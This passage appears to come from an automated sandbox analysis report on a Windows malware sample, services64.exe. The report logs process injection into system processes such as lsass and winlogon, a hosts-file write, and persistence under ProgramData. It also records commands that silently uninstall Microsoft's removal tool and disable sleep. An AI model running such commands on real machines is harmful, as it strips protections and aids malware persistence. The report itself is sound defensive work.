    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B7733C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 27076D90000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 171DB7C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 2D1856F0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1BC980F0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1F38C3F0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 200AC5B0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1D079160000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E9C6BB0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 28CE63D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sc.exe base: 1BCD1A40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1AFBC510000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\ProgramData\WindowsServices\WindowsAutHost base: 16F8FB60000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1D849410000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1A7540D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE130000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE160000 value starts with: 4D5A
    Injects code into the Windows Explorer (explorer.exe)
    Source: C:\Windows\System32\dialer.exeMemory written: PID: 2580 base: 7D80000 value: 4D
    Modifies the context of a thread in another process (thread injection)
    Source: C:\Users\user\Desktop\services64.exeThread register set: target process: 8136Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostThread register set: target process: 8052Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostThread register set: target process: 8184Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostThread register set: target process: 732Jump to behavior
    Modifies the hosts file
    Source: C:\Users\user\Desktop\services64.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Writes to foreign memory regions
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 225DC610000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 202C0AB0000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A6612D0000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26A87990000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17953770000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2295D530000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 253067D0000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1845B390000Jump to behavior
    Source: C:\Windows\System32\lsass.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 28CE5850000Jump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 225DC670000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 202C0B10000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A661330000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 2BAAEE00000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26A87F40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 179537D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2295D590000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 25306E90000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1845B3C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1D559040000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 241A9E70000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1CD73160000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2824E860000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21B473C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17183BC0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 275BDF30000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 203C9F30000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1B5644B0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1C004F60000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\spoolsv.exe base: 1990000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26EF5350000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2108B940000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 29166940000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1988D570000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 13869B40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2855DA70000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 15AF3890000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21A03B80000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 151A6530000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 19E27BC0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17D7B150000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2252F480000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 184683D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\explorer.exe base: 7D80000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1972E260000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 221D5930000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A633B40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\audiodg.exe base: 1D349350000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B7733C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 27076D90000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 171DB7C0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 2D1856F0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1BC980F0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1F38C3F0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 200AC5B0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1D079160000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E9C6BB0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 28CE63D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sc.exe base: 1BCD1A40000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1AFBC510000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\ProgramData\WindowsServices\WindowsAutHost base: 16F8FB60000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1D849410000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 1A7540D0000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE130000
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE160000
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: unknown unknownJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,25_2_0000000140001B54
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,25_2_0000000140001B54
    Source: dwm.exe, 00000026.00000002.3252360297.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 00000026.00000000.1828789854.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
    Source: winlogon.exe, 0000001E.00000002.3240659299.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001E.00000000.1817457345.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000026.00000000.1830778922.000002BAA8050000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
    Source: winlogon.exe, 0000001E.00000002.3240659299.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001E.00000000.1817457345.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000026.00000000.1830778922.000002BAA8050000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
    Source: winlogon.exe, 0000001E.00000002.3240659299.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001E.00000000.1817457345.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000026.00000000.1830778922.000002BAA8050000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
    Source: winlogon.exe, 0000001E.00000002.3240659299.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001E.00000000.1817457345.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000026.00000000.1830778922.000002BAA8050000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6236F0 cpuid 30_2_00000225DC6236F0
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,25_2_0000000140001B54
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC647960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,30_2_00000225DC647960

    Lowering of HIPS / PFW / Operating System Security Settings

    barindex
    Modifies power options to not sleep / hibernate
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
